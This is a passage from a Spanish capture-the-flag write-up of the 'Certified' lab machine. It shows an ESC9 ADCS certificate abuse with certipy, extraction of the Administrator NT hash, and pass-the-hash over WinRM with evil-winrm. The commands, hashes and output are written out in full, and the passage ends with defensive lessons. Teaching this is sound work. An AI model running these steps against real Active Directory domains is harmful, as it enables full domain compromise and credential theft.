[*] Successfully updated 'ca_operator'certipy-ad req -username ca_operator@certified.htb -hashes :b4b86f45c6018f1b664f70805f45d8f2 -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41
[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'Las dos líneas centrales son el ataque entero: Got certificate with UPN 'Administrator' seguido de Certificate has no object SID. La CA ha emitido, a petición de una cuenta sin privilegios, un certificado que dice ser del administrador y que no lleva el SID que delataría la impostura. Eso es ESC9.
certipy-ad account update -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb -dc-ip 10.10.11.41
[*] Updating user 'ca_operator':
userPrincipalName : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'Con el .pfx en la mano y el UPN ya revertido, lo usamos para pedir un TGT por PKINIT y extraer el hash NT:
sudo ntpdate certified.htb
certipy-ad auth -pfx administrator.pfx -domain certified.htb -dc-ip 10.10.11.41
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34Shell como Administrator
Con el hash NT del Administrator, Pass-the-Hash contra WinRM:
netexec smb 10.10.11.41 -u 'Administrator' -H 0d5b49608bbce1751f708748f67e2d34 2>/dev/null
netexec winrm 10.10.11.41 -u 'Administrator' -H 0d5b49608bbce1751f708748f67e2d34 2>/dev/null
evil-winrm -i 10.10.11.41 -u Administrator -H 0d5b49608bbce1751f708748f67e2d34
SMB 10.10.11.41 445 DC01 [+] certified.htb\Administrator:0d5b49608bbce1751f708748f67e2d34 (Pwn3d!)
WINRM 10.10.11.41 5985 DC01 [+] certified.htb\Administrator:0d5b49608bbce1751f708748f67e2d34 (Pwn3d!)
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
certified\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
ac20eda49786b70a64fd5935ce9126cbMáquina comprometida de principio a fin sin un solo exploit binario: toda la cadena son permisos mal configurados de Active Directory.
Cadena de ataque
judith.mader:judith09 (assume breach)
│ WriteOwner
▼
grupo Management ──(owneredit + dacledit + addmem)──> judith.mader es miembro
│ GenericWrite (heredado)
▼
management_svc ──(Shadow Credentials)──> hash NT ──(PtH WinRM)──> shell + user.txt
│ GenericAll
▼
ca_operator ──(Shadow Credentials)──> hash NT (sin shell, pero con Enrollment Rights en ADCS)
│ ESC9 (UPN swap + certipy req)
▼
Administrator ──(certipy auth → hash NT)──(PtH WinRM)──> root.txtLecciones aprendidas
- Las ACL son código que se ejecuta solo.
WriteOwner,GenericWriteyGenericAllson permisos legítimos; mal repartidos forman una cadena deprivescqueBloodHoundlee porLDAPsin lanzar un solo exploit. Revisar lasDACLcon la misma seriedad que los parches. - Shadow Credentials convierte cualquier permiso de escritura en autenticación. Si una cuenta puede escribir
msDS-KeyCredentialLinkde otra, puede autenticarse como ella porPKINITsin conocer ni cambiar su contraseña. Defensa: limitar quién puede escribir ese atributo y monitorizarlo. - ADCS amplía la superficie de ataque del dominio. Una plantilla sin la extensión de seguridad (ESC9) deja que un
UPNcontrolado por el atacante impersone a un administrador.certipy find -vulnerabledebería formar parte de toda auditoría deAD. - Una credencial válida no es un acceso.
judith.maderyca_operatorautentican enSMBy no dan shell; lo que decide es la pertenencia aRemote Management Users. Distinguir ambas cosas ahorra horas de intentos inútiles. - El reloj también es parte del ataque. Siete horas de
clock-skewbastan para que todoKerberosfalle sin motivo aparente; nmap lo avisa en el escaneo y unntpdatelo resuelve. - El
Kerberoastingno siempre es el camino. Aquí elTGSdemanagement_svcera irrompible; insistir habría sido perder el tiempo. Cuando una contraseña no cae, el siguiente vector suele estar en los permisos, no en más diccionarios.